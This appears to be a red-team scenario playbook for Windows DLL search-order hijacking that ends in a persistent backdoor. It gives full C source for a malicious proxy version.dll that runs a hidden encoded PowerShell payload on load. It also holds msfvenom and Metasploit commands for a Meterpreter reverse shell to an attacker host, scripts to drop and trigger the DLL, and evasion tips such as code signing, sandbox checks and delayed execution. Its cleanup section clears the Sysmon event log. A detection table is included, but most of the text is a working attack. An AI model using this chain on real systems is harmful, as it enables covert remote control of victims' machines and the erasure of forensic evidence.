---
name: rt-scenario-d003
description: "D-003: DLL Hijacking → Persistent Backdoor Installation. Domain: desktop. Attack chain: Process Monitor filter for NAME NOT FOUND .dll → identify missing DLL in app directory → create malicious DLL with same name and exports → drop in app directory → DLL loads on next app start → persistent RCE. MITRE: T1574.001 → T1543. Real example: App looks for version.dll in app dir → malicious version.dll spawns reverse shell on each startup"
---

# D-003: DLL Hijacking → Persistent Backdoor Installation

## Overview

**Attack Objective:** Achieve persistent code execution by placing a malicious DLL in a directory that a legitimate application searches before the system directory. The malicious DLL is loaded every time the target application starts, providing a reliable persistence mechanism that survives reboots.

**Required Access Level:** Low — write access to the application directory is sufficient. Many applications install to user-writable locations (e.g., `%APPDATA%`, `%LOCALAPPDATA%`, or poorly configured `Program Files` subdirectories).

**Estimated Time to Execute:** 30–90 minutes (discovery + DLL compilation + deployment)

**Detection Risk Level:** Low to Medium
- The technique blends into normal application startup behavior
- No new processes are spawned unless the DLL payload does so
- Antivirus may flag the DLL if the payload is known; use custom shellcode or staged loaders to reduce signature hits

---

## Prerequisites

### Required Tools

| Tool | Purpose | Install |
|------|---------|---------|
| Sysinternals Process Monitor (ProcMon) | Identify NAME NOT FOUND DLL loads | Download from https://learn.microsoft.com/en-us/sysinternals/downloads/procmon |
| Visual Studio / MinGW-w64 | Compile malicious DLL | `winget install --id Microsoft.VisualStudio.2022.BuildTools` or `winget install --id GnuWin.Make` + MinGW |
| msfvenom (optional) | Generate shellcode payload | Kali: pre-installed; Windows: `choco install metasploit` |
| Python 3 | Generate DLL export stubs | Pre-installed on most pentest VMs |
| pe-bear or CFF Explorer | Inspect target DLL exports | https://github.com/hasherezade/pe-bear |

### Required Access or Conditions

- Write permission to the target application's installation directory
- The target application must be running under an account that loads DLLs from a user-writable path before `System32`
- Application must not use DLL signing verification or Safe DLL Search Mode enforcement
- For elevated persistence: write access to a directory in the `PATH` that precedes `System32`

### Skill Level

**INTERMEDIATE** — requires ability to write and compile a C/C++ DLL, understand Windows DLL loading order, and generate or integrate a payload.

---

## Attack Chain

```
Process Monitor (NAME NOT FOUND filter)
        │
        ▼
Identify target application loading missing DLL
        │
        ▼
Confirm DLL search path — app dir writable?
        │
        ▼
Enumerate exports of legitimate DLL (if found elsewhere)
        │
        ▼
Author malicious DLL (forwarded exports + payload)
        │
        ▼
Compile DLL with matching name
        │
        ▼
Drop malicious DLL into app directory
        │
        ▼
Trigger application restart (or wait for reboot)
        │
        ▼
DLL loads → payload executes → persistent RCE
```

**MITRE ATT&CK:** T1574.001 (Hijack Execution Flow: DLL Search Order Hijacking) → T1543 (Create or Modify System Process — for persistence on service-backed apps)

---

## Step-by-Step Execution

### Step 1 — Configure Process Monitor to Capture DLL Loads

1. Run ProcMon as Administrator (or as current user if targeting user-space apps).
2. Open **Filter** (Ctrl+L) and configure:

   | Column | Relation | Value | Action |
   |--------|---------|-------|--------|
   | Result | is | NAME NOT FOUND | Include |
   | Path | ends with | .dll | Include |
   | Process Name | is | `<target_app>.exe` | Include |

3. Clear existing events (Ctrl+X), then launch the target application.
4. Let it fully initialize, then stop capture (Ctrl+E).

**Expected Output:**
```
Process Name   | Path                                    | Result
---------------|------------------------------------------|----------------
target_app.exe | C:\Program Files\TargetApp\version.dll  | NAME NOT FOUND
target_app.exe | C:\Windows\System32\version.dll         | SUCCESS
```

**Fallback:** If ProcMon is blocked, use API Monitor or attach a debugger (x64dbg) and set a breakpoint on `LoadLibraryW` / `LoadLibraryExW`.

---

### Step 2 — Identify the Hijackable DLL and Confirm Writability

From Step 1 output, note the first path that returned `NAME NOT FOUND`. If that path is inside the application directory, check write permissions:

```powershell
# Check ACL on the app directory
icacls "C:\Program Files\TargetApp"

# Confirm current user has write access
$acl = Get-Acl "C:\Program Files\TargetApp"
$acl.Access | Where-Object { $_.IdentityReference -match $env:USERNAME }
```

**Expected Output (vulnerable):**
```
C:\Program Files\TargetApp BUILTIN\Users:(W)
```

**Fallback:** If the directory is not writable, look further down the ProcMon results for a writable directory earlier in the search path (e.g., current working directory, `%APPDATA%`).

---

### Step 3 — Enumerate Exports of the Legitimate DLL

Identify what the legitimate DLL exports so the malicious one can forward them and prevent application crashes.

```powershell
# Using dumpbin (requires Visual Studio Build Tools)
dumpbin /exports C:\Windows\System32\version.dll

# Alternative: using Python + pefile
pip install pefile
python -c "
import pefile
pe = pefile.PE(r'C:\Windows\System32\version.dll')
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
    print(exp.ordinal, exp.name.decode() if exp.name else '')
"
```

**Expected Output (version.dll exports):**
```
1  GetFileVersionInfoA
2  GetFileVersionInfoByHandle
3  GetFileVersionInfoExA
4  GetFileVersionInfoExW
5  GetFileVersionInfoSizeA
6  GetFileVersionInfoSizeExA
7  GetFileVersionInfoSizeExW
8  GetFileVersionInfoSizeW
9  GetFileVersionInfoW
10 VerFindFileA
11 VerFindFileW
12 VerInstallFileA
13 VerInstallFileW
14 VerLanguageNameA
15 VerLanguageNameW
16 VerQueryValueA
17 VerQueryValueW
```

---

### Step 4 — Author the Malicious DLL

Create a DLL that forwards all legitimate exports to the real DLL and executes payload in `DllMain`.

**File: `version.c`**

```c
/*
 * Malicious version.dll — DLL Hijack Proxy
 * Forwards all exports to the real version.dll in System32
 * Executes payload once on DLL_PROCESS_ATTACH
 */

#include <windows.h>
#include <stdlib.h>

// Export forwarding pragmas — redirect all calls to the real DLL
#pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA,@1")
#pragma comment(linker, "/export:GetFileVersionInfoByHandle=C:\\Windows\\System32\\version.GetFileVersionInfoByHandle,@2")
#pragma comment(linker, "/export:GetFileVersionInfoExA=C:\\Windows\\System32\\version.GetFileVersionInfoExA,@3")
#pragma comment(linker, "/export:GetFileVersionInfoExW=C:\\Windows\\System32\\version.GetFileVersionInfoExW,@4")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA,@5")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker, "/export:GetFileVersionInfoSizeW=C:\\Windows\\System32\\version.GetFileVersionInfoSizeW,@8")
#pragma comment(linker, "/export:GetFileVersionInfoW=C:\\Windows\\System32\\version.GetFileVersionInfoW,@9")
#pragma comment(linker, "/export:VerFindFileA=C:\\Windows\\System32\\version.VerFindFileA,@10")
#pragma comment(linker, "/export:VerFindFileW=C:\\Windows\\System32\\version.VerFindFileW,@11")
#pragma comment(linker, "/export:VerInstallFileA=C:\\Windows\\System32\\version.VerInstallFileA,@12")
#pragma comment(linker, "/export:VerInstallFileW=C:\\Windows\\System32\\version.VerInstallFileW,@13")
#pragma comment(linker, "/export:VerLanguageNameA=C:\\Windows\\System32\\version.VerLanguageNameA,@14")
#pragma comment(linker, "/export:VerLanguageNameW=C:\\Windows\\System32\\version.VerLanguageNameW,@15")
#pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA,@16")
#pragma comment(linker, "/export:VerQueryValueW=C:\\Windows\\System32\\version.VerQueryValueW,@17")

static BOOL payload_executed = FALSE;

void ExecutePayload(void) {
    if (payload_executed) return;
    payload_executed = TRUE;

    /*
     * PAYLOAD SECTION — replace with engagement-specific code
     * Example: spawn a reverse shell via cmd.exe (noisy — for lab use)
     * Replace with staged shellcode loader for real engagements
     */
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    // Example: meterpreter reverse TCP — replace IP/port
    char cmd[] = "cmd.exe /c powershell -nop -w hidden -enc "
                 "<BASE64_ENCODED_PAYLOAD_HERE>";
    CreateProcessA(NULL, cmd, NULL, NULL, FALSE,
                   CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    switch (fdwReason) {
        case DLL_PROCESS_ATTACH:
            DisableThreadLibraryCalls(hinstDLL);
            ExecutePayload();
            break;
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}
```

**Generate Base64 payload (on attacker machine):**

```bash
# Meterpreter reverse TCP payload
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=<ATTACKER_IP> LPORT=4444 \
  -f psh -o payload.ps1

# Base64-encode for embedding
cat payload.ps1 | iconv -t UTF-16LE | base64 -w 0
```

---

### Step 5 — Compile the Malicious DLL

**Using MinGW-w64:**

```bash
# x64 target
x86_64-w64-mingw32-gcc -shared -o version.dll version.c \
  -Wl,--kill-at \
  -s

# x86 target (if app is 32-bit)
i686-w64-mingw32-gcc -shared -o version.dll version.c \
  -Wl,--kill-at \
  -s
```

**Using MSVC (Developer Command Prompt):**

```cmd
cl /LD version.c /Fe:version.dll /link /DEF:version.def
```

**Verify the compiled DLL exports match expected:**

```powershell
dumpbin /exports version.dll
```

**Expected Output:**
```
ordinal  name
      1  GetFileVersionInfoA (forwarded to C:\Windows\System32\version.GetFileVersionInfoA)
      2  GetFileVersionInfoByHandle (forwarded ...)
      ...
```

**Fallback:** If compilation fails with pragma export errors, use a `.def` file approach:

```
; version.def
LIBRARY version
EXPORTS
  GetFileVersionInfoA = C:\Windows\System32\version.GetFileVersionInfoA @1
  ...
```

---

### Step 6 — Drop the Malicious DLL into the Application Directory

```powershell
# Confirm the target path
$targetDir = "C:\Program Files\TargetApp"
$targetDll = Join-Path $targetDir "version.dll"

# Copy — if write access allows direct copy
Copy-Item -Path ".\version.dll" -Destination $targetDll -Force

# Verify placement
Get-Item $targetDll | Select-Object Name, Length, LastWriteTime
```

**Expected Output:**
```
Name        Length  LastWriteTime
----        ------  -------------
version.dll  14336  2026-05-31 14:22:05
```

**Fallback:** If direct copy is blocked by AV on write, use an alternate data stream staging approach or rename a benign file, overwrite, then rename:

```powershell
# Stage via temp location if SmartScreen blocks direct write
$tmp = [System.IO.Path]::GetTempFileName()
Copy-Item ".\version.dll" $tmp
Move-Item $tmp $targetDll -Force
```

---

### Step 7 — Set Up Listener on Attacker Machine

```bash
# Metasploit multi/handler
msfconsole -q -x "
  use exploit/multi/handler;
  set payload windows/x64/meterpreter/reverse_tcp;
  set LHOST <ATTACKER_IP>;
  set LPORT 4444;
  set ExitOnSession false;
  exploit -j
"
```

---

### Step 8 — Trigger DLL Load

Restart the target application (or wait for scheduled restart / reboot):

```powershell
# Get the process name and restart it
$procName = "target_app"
$proc = Get-Process $procName -ErrorAction SilentlyContinue
if ($proc) { Stop-Process -Name $procName -Force }

Start-Process "C:\Program Files\TargetApp\target_app.exe"
```

**Expected Output on attacker listener:**
```
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Sending stage (201798 bytes) to <TARGET_IP>
[*] Meterpreter session 1 opened (<ATTACKER_IP>:4444 -> <TARGET_IP>:<PORT>)

meterpreter > getuid
Server username: DOMAIN\victim_user
```

**Fallback:** If the app does not restart soon, the DLL will load on next system boot if the app is configured to run at startup. Confirm:

```powershell
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ScheduledTask | Where-Object { $_.TaskPath -match "TargetApp" }
```

---

## Real-World Reference

**Scenario:** A widely deployed enterprise tool installs to `C:\Program Files\CorpApp\` and attempts to load `version.dll` from its own directory before falling back to `System32`. The directory ACL grants `BUILTIN\Users` write access due to a misconfigured installer.

**Attack Flow:**
1. ProcMon reveals `corptool.exe` searches `C:\Program Files\CorpApp\version.dll` → NAME NOT FOUND → falls back to `C:\Windows\System32\version.dll`.
2. Attacker drops malicious `version.dll` into `C:\Program Files\CorpApp\`.
3. Each time `corptool.exe` starts — including at Windows login via a Run key — the malicious DLL loads first.
4. `DllMain` spawns a reverse shell in a hidden window; all legitimate `version.dll` functions are transparently forwarded, so the app continues to function normally.
5. No user-visible anomaly. Persistence survives reboots, user logouts, and application updates (unless the update replaces `version.dll` in the app directory).

**Notable real-world cases using this pattern:**
- Slack, Teams, and similar Electron apps have historically shipped with writable app directories susceptible to this technique
- CVE-2020-0668 and similar privilege escalation chains use DLL hijacking as the persistence layer after gaining initial foothold
- Many antivirus and security tool installers have been found vulnerable (ironic persistence vector)

---

## MITRE ATT&CK Mapping

| Step | Tactic | Technique | Sub-technique | Notes |
|------|--------|-----------|---------------|-------|
| 1 — ProcMon discovery | Discovery | T1083 — File and Directory Discovery | — | Enumerating application file load behavior |
| 2 — Confirm writable path | Discovery | T1057 — Process Discovery | — | Correlating process behavior with filesystem permissions |
| 3 — Enumerate DLL exports | Discovery | T1083 — File and Directory Discovery | — | Inspecting legitimate DLL to build proxy |
| 4 — Author malicious DLL | Defense Evasion | T1574.001 — Hijack Execution Flow: DLL Search Order Hijacking | T1574.001 | Core technique |
| 5 — Compile DLL | Execution | T1059 — Command and Scripting Interpreter | — | Toolchain invocation on attacker system |
| 6 — Drop DLL | Persistence | T1574.001 — Hijack Execution Flow: DLL Search Order Hijacking | T1574.001 | Placing artifact for future load |
| 7 — Listener setup | Command and Control | T1571 — Non-Standard Port | — | Reverse shell C2 setup |
| 8 — Trigger load | Execution | T1543 — Create or Modify System Process | T1543.003 (if service-backed) | Payload executes on app start |
| Persistence maintained | Persistence | T1543 — Create or Modify System Process | — | Survives reboots via app autostart |

---

## Detection & OPSEC

### How This Attack Is Detected

| Detection Method | Indicator |
|----------------|-----------|
| EDR DLL load monitoring | Unexpected DLL loaded from app directory instead of System32; DLL hash mismatch vs. known-good baseline |
| File integrity monitoring | New or modified DLL in application directory not associated with an installer event |
| Process creation auditing | Child process spawned from `DllMain` context (parent = app, child = cmd/powershell) |
| Network monitoring | Outbound connection from app process to unexpected IP immediately after startup |
| Windows Event Log | Sysmon Event ID 7 (Image Loaded) with `Signature` = unsigned or unknown publisher |
| AV/AMSI scanning | Shellcode patterns in the DLL's `.text` section |

### OPSEC Recommendations for Authorized Engagements

1. **Use a staged payload** — have `DllMain` only download and reflectively load a second-stage in memory; avoid writing shellcode directly to the DLL on disk.
2. **Match DLL metadata** — patch the PE headers (`FileDescription`, `CompanyName`, `ProductVersion`) to match the legitimate DLL using a resource editor (e.g., ResourceHacker).
3. **Sign the DLL** — use a self-signed or purchased code-signing certificate; unsigned DLLs trigger SmartScreen and EDR alerts.
4. **Delay execution** — sleep 10–30 seconds inside `DllMain` before executing payload to avoid behavior correlation with app launch.
5. **Check for sandbox** — detect sandbox environments (low uptime, single CPU, no user input) before activating payload.
6. **Use HTTPS C2** — prefer HTTPS or DNS-over-HTTPS beaconing over raw TCP reverse shells to blend with normal traffic.
7. **Target low-frequency apps** — choose apps that start infrequently to reduce the number of alert-generating events.

### Artifacts Left Behind

- `version.dll` (or target DLL name) in application directory
- Network connections from the application process to attacker C2
- Sysmon Event ID 7 logs referencing the dropped DLL
- Prefetch files recording the DLL load (`C:\Windows\Prefetch\`)
- Windows Error Reporting / crash dumps if the DLL caused instability
- Possible AV quarantine record if payload was detected

---

## Cleanup

Execute these steps after engagement completion to remove all artifacts:

```powershell
# 1. Kill any active shells/beacons spawned by the DLL
$payloadProc = Get-Process -Name "powershell","cmd" -ErrorAction SilentlyContinue |
  Where-Object { $_.MainWindowTitle -eq "" }
$payloadProc | Stop-Process -Force

# 2. Remove the malicious DLL
$targetDll = "C:\Program Files\TargetApp\version.dll"
Remove-Item $targetDll -Force
Write-Host "Removed: $targetDll"

# 3. Verify removal
if (-not (Test-Path $targetDll)) {
    Write-Host "Confirmed: DLL removed"
} else {
    Write-Warning "DLL still present — check file locks"
}

# 4. Clear prefetch (requires admin)
Remove-Item "C:\Windows\Prefetch\TARGET_APP*.pf" -Force -ErrorAction SilentlyContinue

# 5. Review and clear relevant Sysmon/Security event logs (requires admin)
# Note: clearing logs is itself a detectable event — coordinate with blue team
wevtutil cl Microsoft-Windows-Sysmon/Operational

# 6. Restore the application to a known-good state
# Trigger application self-repair or reinstall to ensure no residual files
# Example: re-run installer in repair mode
# Start-Process "C:\Program Files\TargetApp\setup.exe" -ArgumentList "/repair" -Wait
```

**Verification checklist after cleanup:**

- [ ] Malicious DLL removed from app directory
- [ ] No active network connections from the app process to attacker IP
- [ ] Application functions normally after restart
- [ ] Event logs reviewed (coordinate with client — log clearing may violate rules of engagement)
- [ ] Prefetch entries cleared or documented

---

## References

### Tools

| Tool | URL |
|------|-----|
| Sysinternals Process Monitor | https://learn.microsoft.com/en-us/sysinternals/downloads/procmon |
| pe-bear (PE inspector) | https://github.com/hasherezade/pe-bear |
| CFF Explorer | https://ntcore.com/explorer-suite/ |
| MinGW-w64 | https://www.mingw-w64.org/ |
| Metasploit Framework | https://www.metasploit.com/ |
| ResourceHacker | http://www.angusj.com/resourcehacker/ |
| Sysmon | https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon |

### Research & Documentation

| Resource | URL |
|----------|-----|
| MITRE T1574.001 — DLL Search Order Hijacking | https://attack.mitre.org/techniques/T1574/001/ |
| MITRE T1543 — Create or Modify System Process | https://attack.mitre.org/techniques/T1543/ |
| Windows DLL Search Order (Microsoft Docs) | https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order |
| DLL Hijacking on HackTricks | https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dll-hijacking |
| DLLSpy — automated DLL hijack discovery | https://github.com/cyberark/DLLSpy |
| Robber — DLL hijacking finder | https://github.com/MojtabaTajik/Robber |
| Safe DLL Search Mode (Microsoft) | https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-setdlldirectory |
